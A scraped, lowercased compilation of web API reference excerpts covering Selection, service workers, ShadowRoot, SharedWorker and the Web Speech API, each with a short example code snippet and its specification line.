example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sourcefile); }); specifications specification status comment content security policy level 3the definition of 'sourcefile' in that specification.
SecurityPolicyViolationEvent.statusCode - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.statuscode); }); specifications specification status comment content security policy level 3the definition of 'statuscode' in that specification.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment content security policy level 3the definition of 'violateddirective' in that specification.
Selection.addRange() - Web APIs
() { let selection = window.getselection(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.length; i++) { let range = document.createrange(); range.selectnode(strongs[i]); selection.addrange(range); } }); result specifications specification status comment selection apithe definition of 'selection.addrange()' in that specification.
Selection.anchorNode - Web APIs
syntax node = sel.anchornode specifications specification status comment selection apithe definition of 'selection.anchornode' in that specification.
Selection.anchorOffset - Web APIs
syntax number = sel.anchoroffset specifications specification status comment selection apithe definition of 'selection.anchoroffset' in that specification.
Selection.collapse() - Web APIs
*/ var body = document.getelementsbytagname("body")[0]; window.getselection().collapse(body,0); specifications specification status comment selection apithe definition of 'selection.collapse()' in that specification.
Selection.collapseToEnd() - Web APIs
specifications specification status comment selection apithe definition of 'selection.collapsetoend()' in that specification.
Selection.collapseToStart() - Web APIs
specifications specification status comment selection apithe definition of 'selection.collapsetostart()' in that specification.
Selection.deleteFromDocument() - Web APIs
you do, you can remove the selected content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment selection apithe definition of 'selection.deletefromdocument()' in that specification.
Selection.extend() - Web APIs
WebAPISelectionextend
specifications specification status comment selection apithe definition of 'selection.extend()' in that specification.
Selection.focusNode - Web APIs
syntax node = sel.focusnode specifications specification status comment selection apithe definition of 'selection.focusnode' in that specification.
Selection.focusOffset - Web APIs
syntax offset = sel.focusoffset specifications specification status comment selection apithe definition of 'selection.focusoffset' in that specification.
Selection.getRangeAt() - Web APIs
example let ranges = []; sel = window.getselection(); for(let i = 0; i < sel.rangecount; i++) { ranges[i] = sel.getrangeat(i); } /* each item in the ranges array is now * a range object representing one of the * ranges in the current selection */ specifications specification status comment selection apithe definition of 'selection: getrangeat()' in that specification.
Selection.isCollapsed - Web APIs
syntax bool = sel.iscollapsed specifications specification status comment selection apithe definition of 'selection.iscollapsed' in that specification.
Selection.modify() - Web APIs
WebAPISelectionmodify
the selection.modify() method applies a change to the current selection or cursor position, using simple textual commands.
Selection.rangeCount - Web APIs
specifications specification status comment selection apithe definition of 'selection.rangecount' in that specification.
Selection.removeAllRanges() - Web APIs
specifications specification status comment selection apithe definition of 'selection.removeallranges()' in that specification.
Selection.selectAllChildren() - Web APIs
<p>i hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
Selection.toString() - Web APIs
specifications specification status comment selection apithe definition of 'selection: tostring()' in that specification.
Selection.type - Web APIs
WebAPISelectiontype
var selection; document.onselectionchange = function() { console.log('new selection made'); selection = document.getselection(); console.log(selection.type); }; specifications specification status comment selection apithe definition of 'selection.type' in that specification.
Selection API - Web APIs
specifications specification status comment selection apithe definition of 'selection' in that specification.
Server-sent events - Web APIs
examples simple sse demo using php specification specification status comment html living standardthe definition of 'server-sent events' in that specification.
ServiceWorker.scriptURL - Web APIs
syntax someurl = serviceworker.scripturl value a usvstring (see the webidl definition of usvstring.) examples tbd specifications specification status comment service workersthe definition of 'scripturl' in that specification.
ServiceWorker.state - Web APIs
document.queryselector('#kind').textcontent = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) { logstate(e.target.state); }); } specifications specification status comment service workersthe definition of 'state' in that specification.
ServiceWorker - Web APIs
} specifications specification status comment service workersthe definition of 'serviceworker' in that specification.
ServiceWorkerContainer.controller - Web APIs
if (navigator.serviceworker.controller) { console.log(`this page is currently controlled by: ${navigator.serviceworker.controller}`); } else { console.log('this page is not currently controlled by a service worker.'); } } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.controller' in that specification.
ServiceWorkerContainer.getRegistration() - Web APIs
example navigator.serviceworker.getregistration('/app').then(function(registration) { if(registration){ document.queryselector('#status').textcontent = 'serviceworkerregistration found.'; } }); specifications specification status comment service workersthe definition of 'serviceworkercontainer: getregistration' in that specification.
ServiceWorkerContainer.getRegistrations() - Web APIs
example navigator.serviceworker.getregistrations().then(function(registrations) { document.queryselector('#status').textcontent = 'serviceworkerregistrations found.'; }); specifications specification status comment service workersthe definition of 'getregistrations()' in that specification.
ServiceWorkerContainer.oncontrollerchange - Web APIs
} example // tbd specifications specification status comment service workersthe definition of 'serviceworkercontainer: oncontrollerchange' in that specification.
ServiceWorkerContainer.onmessage - Web APIs
} example navigator.serviceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status comment service workersthe definition of 'serviceworkercontainer: onmessage' in that specification.
ServiceWorkerContainer.ready - Web APIs
ator) { navigator.serviceworker.ready .then(function(registration) { console.log('a service worker is active:', registration.active); // at this point, you can call methods that require an active // service worker, like registration.pushmanager.subscribe() }); } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.ready' in that specification.
ServiceWorkerContainer.register() - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkercontainer: register' in that specification.
ServiceWorkerContainer.startMessages() - Web APIs
}); navigator.serviceworker.startmessages(); specifications specification status comment service workersthe definition of 'serviceworkercontainer: startmessages()' in that specification.
ServiceWorkerContainer - Web APIs
navigator.serviceworker.oncontrollerchange = function() { console.log('this page is now controlled by:', navigator.serviceworker.controller); }; } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkercontainer' in that specification.
ServiceWorkerGlobalScope: activate event - Web APIs
}; specifications specification status comment service workersthe definition of 'activate' in that specification.
ServiceWorkerGlobalScope.caches - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.caches' in that specification.
ServiceWorkerGlobalScope.clients - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.clients' in that specification.
ServiceWorkerGlobalScope: contentdelete event - Web APIs
}; specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
ServiceWorkerGlobalScope: install event - Web APIs
}; specifications specification status comment service workersthe definition of 'install' in that specification.
ServiceWorkerGlobalScope.onactivate - Web APIs
then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
ServiceWorkerGlobalScope.onfetch - Web APIs
about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oninstall - Web APIs
'/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onmessage - Web APIs
}; example self.addeventlistener('message', function(messageevent) { console.log('handling message event:', messageevent); }) specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
f it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe definition of 'onnotificationclick' in that specification.
onnotificationclose - Web APIs
self.onnotificationclose = function(event) { console.log('on notification close: ', event.notification.tag); }; specifications specification status comment notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerGlobalScope.onpush - Web APIs
images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'onpush' in that specification.
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
}) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification.
ServiceWorkerGlobalScope.onsync - Web APIs
the attempt to sync is made either immediately if the network is available or as soon as the network becomes available.
ServiceWorkerGlobalScope: push event - Web APIs
self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
*/ ) }; specifications specification status comment push apithe definition of 'pushsubscriptionchange' in that specification.
ServiceWorkerGlobalScope.registration - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.registration' in that specification.
ServiceWorkerMessageEvent.data - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.lastEventId - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.lasteventid); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.origin - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.origin); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.ports - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.ports); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.source - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.source); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.active - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.active' in that specification.
ServiceWorkerRegistration.getNotifications() - Web APIs
example navigator.serviceworker.register('sw.js'); var options = { tag : 'user_alerts' }; navigator.serviceworker.ready.then(function(registration) { registration.getnotifications(options).then(function(notifications) { // do something with your notifications }) }); specifications specification status comment notifications apithe definition of 'serviceworkerregistration.getnotifications()' in that specification.
ServiceWorkerRegistration.index - Web APIs
rom the main script: // reference registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } from the service worker: // service worker script const contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification.
ServiceWorkerRegistration.installing - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.installing' in that specification.
ServiceWorkerRegistration.navigationPreload - Web APIs
specifications specification status comment service workersthe definition of 'navigationpreload' in that specification.
ServiceWorkerRegistration.onupdatefound - Web APIs
}; specifications specification status comment service workersthe definition of 'serviceworkerregistration.onupdatefound' in that specification.
ServiceWorkerRegistration.pushManager - Web APIs
console.log(error); } ); }); specifications specification status comment push apithe definition of 'pushmanager' in that specification.
ServiceWorkerRegistration.scope - Web APIs
syntax var swscope = serviceworkerregistration.scope; specifications specification status comment service workersthe definition of 'serviceworkerregistration.scope' in that specification.
ServiceWorkerRegistration.sync - Web APIs
specifications specification status comment web background synchronization living standard initial definition.
ServiceWorkerRegistration.update() - Web APIs
ceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); button.onclick = function() { registration.update(); } }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.update()' in that specification.
ServiceWorkerRegistration.waiting - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.waiting' in that specification.
ServiceWorkerRegistration - Web APIs
is being installed:', installingworker); // you can listen for changes to the installing service worker's // state via installingworker.onstatechange }); }) .catch(function(error) { console.log('service worker registration failed:', error); }); } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration' in that specification.
ServiceWorkerState - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerstate' in that specification.
ShadowRoot.host - Web APIs
WebAPIShadowRoothost
// return the original host element some time later let hostelem = shadow.host; specifications specification status comment domthe definition of 'shadowroot.host' in that specification.
ShadowRoot.mode - Web APIs
WebAPIShadowRootmode
shadow.mode = 'closed'; } specifications specification status comment domthe definition of 'shadowroot.mode' in that specification.
ShadowRoot - Web APIs
for(var i = 0; i < childnodes.length; i++) { if(childnodes[i].nodename === 'style') { childnodes[i].textcontent = 'div {' + 'width: ' + elem.getattribute('l') + 'px;' + 'height: ' + elem.getattribute('l') + 'px;' + 'background-color: ' + elem.getattribute('c') + ';' + '}'; } } } specifications specification status comment domthe definition of 'interface shadowroot' in that specification.
SharedWorker() - Web APIs
orker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'sharedworker()' in that specification.
SharedWorkerGlobalScope.close() - Web APIs
specifications specification status comment html living standardthe definition of 'close()' in that specification.
SharedWorkerGlobalScope.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
SharedWorkerGlobalScope.onconnect - Web APIs
specifications specification status comment html living standardthe definition of 'onconnect' in that specification.
Slottable: assignedSlot - Web APIs
let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.assignedslot); // logs '<slot name="my-text">' specifications specification status comment domthe definition of 'assignedslot' in that specification.
Slottable - Web APIs
WebAPISlottable
specifications specification status comment domthe definition of 'slottable' in that specification.
SourceBuffer.removeAsync() - Web APIs
specification status comment media source extensions recommendation initial definition.
SpeechRecognition: audioend event - Web APIs
end event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: audiostart event - Web APIs
ent in an onaudiostart method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: end event - Web APIs
entlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition service disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: error event - Web APIs
new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: nomatch event - Web APIs
omatch event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('nomatch', function() { console.log('speech not recognized'); }); or use the onnomatch event handler property: recognition.onnomatch = function() { console.log('speech not recognized'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.onaudioend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'onaudioend' in that specification.
SpeechRecognition.onaudiostart - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'onaudiostart' in that specification.
SpeechRecognition.onend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechRecognition.onerror - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechRecognition.onsoundend - Web APIs
}; examples recognition.onsoundend = function() { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'onsoundend' in that specification.
SpeechRecognition.onsoundstart - Web APIs
}; examples recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'onsoundstart' in that specification.
SpeechRecognition.onspeechend - Web APIs
}; examples recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'onspeechend' in that specification.
SpeechRecognition.onspeechstart - Web APIs
}; examples recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'onspeechstart' in that specification.
SpeechRecognition: soundend event - Web APIs
method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundend', function(event) { console.log('sound has stopped being received'); }); or use the onsoundend event handler property: recognition.onsoundend = function(event) { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundstart event - Web APIs
ventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundstart', function() { console.log('some sound is being received'); }); or use the onsoundstart event handler property: recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechend event - Web APIs
tener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechend', function() { console.log('speech has stopped being detected'); }); or use the onspeechend event handler property: recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechstart event - Web APIs
addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechstart', function() { console.log('speech has been detected'); }); or use the onspeechstart event handler property: recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognitionAlternative.confidence - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionAlternative - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionErrorEvent.message - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'message' in that specification.
SpeechRecognitionErrorEvent - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'speechrecognitionerrorevent' in that specification.
SpeechRecognitionEvent.interpretation - Web APIs
this might be determined, for instance, through the sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation = event.interpretation; value the returned value can be of any type.
SpeechRecognitionEvent.resultIndex - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechRecognitionEvent.results - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResultList - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
SpeechSynthesis.getVoices() - Web APIs
; option.setattribute('data-name', voices[i].name); document.getelementbyid("voiceselect").appendchild(option); } } populatevoicelist(); if (typeof speechsynthesis !== 'undefined' && speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } html <select id="voiceselect"></select> specifications specification status comment web speech apithe definition of 'getvoices()' in that specification.
SpeechSynthesis.onvoiceschanged - Web APIs
.default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } specifications specification status comment web speech apithe definition of 'onvoiceschanged' in that specification.
SpeechSynthesis.pause() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web speech apithe definition of 'pause()' in that specification.
SpeechSynthesis.paused - Web APIs
examples var synth = window.speechsynthesis; synth.pause(); var amipaused = synth.paused; // will return true specifications specification status comment web speech apithe definition of 'paused' in that specification.
SpeechSynthesis.pending - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web speech apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web speech apithe definition of 'resume()' in that specification.
SpeechSynthesis.speak() - Web APIs
vent.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speak()' in that specification.
SpeechSynthesis.speaking - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification.
SpeechSynthesis: voiceschanged event - Web APIs
ar voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesisErrorEvent - Web APIs
options[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesiserrorevent' in that specification.
SpeechSynthesisEvent.charIndex - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
SpeechSynthesisEvent.elapsedTime - Web APIs
examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' seconds.'); } specifications specification status comment web speech apithe definition of 'elapsedtime' in that specification.
SpeechSynthesisEvent.name - Web APIs
examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SpeechSynthesisEvent - Web APIs
tion(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speechsynthesisevent' in that specification.
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
vent.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance()' in that specification.
SpeechSynthesisUtterance: boundary event - Web APIs
: utterthis.addeventlistener('boundary', function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); }); or use the onboundary event handler property: utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: end event - Web APIs
ethod: utterthis.addeventlistener('end', function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); }); or use the onend event handler property: utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: error event - Web APIs
ent in an addeventlistener method: utterthis.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
